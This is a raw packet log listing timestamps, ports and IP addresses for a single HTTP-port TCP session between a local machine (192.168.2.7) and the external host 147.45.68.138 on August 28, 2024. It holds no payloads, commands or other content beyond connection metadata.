Aug 28, 2024 22:55:56.327482939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327495098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327495098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327507973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327518940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327519894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327545881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327559948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327716112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327734947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327744961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327758074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327773094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327871084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327881098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327892065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327909946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327909946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327922106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327923059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327933073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327944040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327950001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327965975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327986956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328071117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328082085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328088999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328118086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328233957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328246117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328255892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328265905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328275919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328278065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328293085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328309059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328367949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328378916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328391075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328402996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328411102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328414917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328425884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328425884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328443050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328464985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328533888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328545094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328553915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328564882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328574896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328576088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328587055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328598022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328599930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328617096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328638077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.328654051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.328691006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412010908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412040949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412065983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412077904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412085056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412097931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412121058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412121058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412121058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412133932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412144899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412158966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412159920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412174940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412175894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412188053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412199020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412208080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412213087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412224054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412234068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412247896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412261009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412271023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412272930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412281990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412293911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412298918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412306070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412314892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412321091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412328959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412332058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412353039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412353992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412372112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412378073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412383080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412395000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412400961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412406921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412424088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412429094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412440062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412451029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412451982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412467957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412498951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412498951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412511110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412528038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412538052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412542105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412548065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412563086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412590027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412590027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412633896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412640095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412652016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412661076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412683964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412688971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412699938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412705898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412730932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412740946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412803888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412815094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412826061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412842989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412847996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412859917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412862062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412889004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412904978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412913084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412916899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412944078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412955999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412957907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.412967920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412978888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412992954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.412996054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413006067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413024902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413033962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413055897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413068056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413079023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413100004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413121939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413132906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413145065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413161993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413172960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413176060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413204908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413213015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413218975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413230896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413250923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413259029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413269997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413289070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413654089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413666010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413676023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413703918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413727999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413732052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413743019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413753986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413765907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413769960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413775921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413793087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413811922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413832903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.413935900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.413990021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414019108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414028883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414040089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414058924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414064884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414071083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414078951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414084911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414103985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414104939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414113998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414120913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414132118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414148092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414149046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414159060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414170980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414190054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414212942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414264917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414275885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414287090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414295912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414320946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414323092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414344072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414370060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414446115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414458036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414469957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414482117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414494038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414494991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414505005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414505959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414516926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414535046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414562941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414639950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414652109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414661884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414681911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414694071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414707899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414712906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414726019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414737940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414752960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414757013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414767981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414771080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414789915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414796114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414830923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414843082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414853096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414870977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414899111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.414947987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.414988995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415018082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415030003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415040970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415054083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415062904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415071011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415079117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415082932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415096045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415107965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415122032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415149927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415203094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415215969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415239096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415245056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415246010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415277958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415282011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415290117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415296078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415302992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415314913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415323973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415338039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415339947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415349007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415350914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415363073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415364981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415371895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.415394068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.415429115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.498853922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.498868942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.498881102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499006987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499017954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499028921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499039888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499052048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499058008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499066114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499075890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499088049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499099970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499111891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499124050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499151945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499229908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499229908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499229908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499229908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499229908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499300003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499311924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499330997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499342918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499353886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499358892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499365091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499377966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499386072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499392033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499398947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499411106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499414921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499423027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.499428988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499454021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.499465942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.521693945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.526770115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.708986044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709018946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709029913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709062099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709072113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709083080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709095955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709096909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.709140062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.709361076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709372997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709382057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709393024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709403038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709408045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.709414959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709424973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.709429979 CEST	49731	80	192.168.2.7	147.45.68.138
